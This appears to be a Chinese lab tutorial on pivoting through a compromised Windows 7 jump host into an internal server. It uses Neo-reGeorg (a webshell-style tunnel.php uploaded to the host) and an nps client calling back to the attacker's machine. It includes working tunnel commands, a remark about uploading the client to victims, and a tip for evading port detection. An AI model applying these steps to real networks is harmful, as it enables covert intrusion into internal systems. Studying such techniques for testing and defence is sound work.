代理就是一种特殊的网络服务,类似中介,本来a,b想买房子可以直接联系,但是中介的存在,卖家b将买房委托给中介c,买家a只能通过中介c联系卖家b,再由中介转述回买家。
代理的功能:
隐藏真实ip
控制对内部资源的访问
提高访问效率
突破自身ip访问限制
突破内容过滤机制
proxifier:
一款强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序通过HTTPS和SOCKS代理。
使用步骤:1.添加代理的server,配置代理服务器的ip和端口;2.添加代理规则配置需要代理的软件、目标ip、Action(选择第一步配置号的代理Server)
正向代理,就是用户知道目标服务器地址,但由于网络限制等原因,无法直接访问。这时候需要先连接代理服务器,然后再由代理服务器访问目标服务器。
正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端。
环境:
win10攻击机:ip:192.168.1.4
win7跳板机:ip:192.168.1.187(桥接模式)IP:169.254.122.142(仅主机模式)
win 2008:ip:169.254.187.52(仅主机模式)
环境是只有win7可以访问外网和访问内网得win2008,所以通过win7作为代理服务器,win10请求发送到代理服务上win7,然后代理服务win7访问win2008.这样通过win7去取win2008返回得数据,在返回win10.
那么,目的是通过代理让win10远程连接win2008桌面。
在没有卡开启代理的时候,是无法连接远程连接的。
复现过程:
首先,配置Proxifier,添加服务器地址127.0.0.1.端口2222;选择socks 5代理,点击ok
再配置一下规则,选择Targent hosts为1192.168.1.*
目标主机。动作Action选择上上面的socks 5的代理。
将Default的动作设置代理socks5。
然后,使用Neo-reGeorg,生成指定密码的代理脚本文件。
python neoreg.py generate -k qq
将tunnel.php文件,通过上传到win7的web应用目录下,通过win10可以访问到。
访问该文件,页面正常,说明能够访问。
然后运行通道的连接:
python neoreg.py -k qq -u http://192.168.1.187/tunnel.php -p 2222
最后,代理服务信道等搭建好了,现在我们尝试远程连接win2008桌面,是否可以成功连接到。
1.做缓存,加速访问
对客户端访问授权,进行认证
访问原来无法访问的资源
代理可以记录用户访问记录,做上网行为管理,对外隐藏用户的信息
反向代理对用户则是不可知的,比如我们访问百度网站,百度的代理服务器对外的域名为 https://www.baidu.com。具体内部的服务器节点我们不知道,现实中我们通过访问百度的代理服务器后,代理服务器给我们转发请求到他们N多的服务器节点中的一个给我们进行搜索后将结果返回。
反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端
环境:跟上面正向代理的环境一样,目的也是远程连接win2008桌面。
工具下载链接:https://github.com/ehang-io/nps/releases
windows环境中,下载一下客户端和服务端:
nps服务端配置:
步骤1:将解压后的服务端,代开config文件
配置管理页面的登录账号、密码和端口。修改端口号可以为5为复杂些,这样就不会被检测到危险端口。(这里不在配置,默认)
然后,安装并启动nps(第一次使用要安装):
然后,查看nsp.log文件,看到日志开始有记录了。
然后访问本地访问8080端口,使用账号和密码登录。
步骤2:配置客户端信息:新增客户端,填写唯一验证密钥12345
然后设置socks代理:点击新增填写刚新建客户端id6,然后填写后面要代理用的端口5555。
nps客户端配置:
步骤1:在客户端的配置的文件中,vkey的值与服务端唯一验证密钥是一致的!!!
在真实的渗透环境中,客户端通过上传到受害机,也就是这里用到的win7跳板机。(这里是自己搭建环境,直接将客户端到win7上)
然后使用命令npc.exe -server=192.168.1.4:8024 -vkey=12345
,启动客户端:
回到服务端,刷新浏览器,客户端连接状态显示在线,说明nps搭建好了。
步骤三:配置Poxifier,增加地址和端口号,并且与nps服务端socks
的代理端口一致。
增加规则:
最后,远程连接win2008桌面:
可以看到流入和流出流量在变动。这样就通反向代理将流量带了出来。
1.负载均衡,通过反向代理服务器来优化网站的负载
保证内网的安全,可以使用反向代理提供WAF功能,组织web攻击
1.保证win10和win7能够互相访问的,win7和win2008能够互ping通。
2.Proxifier在配置中,规则要选择与socks的端口一致。
3.nps和Neo-reGeorg的运行的命令和配置都要相对应。
正向和反向代理的区别在于代理的对象不同:正向代理的对象是客户端,而反向代理是服务端。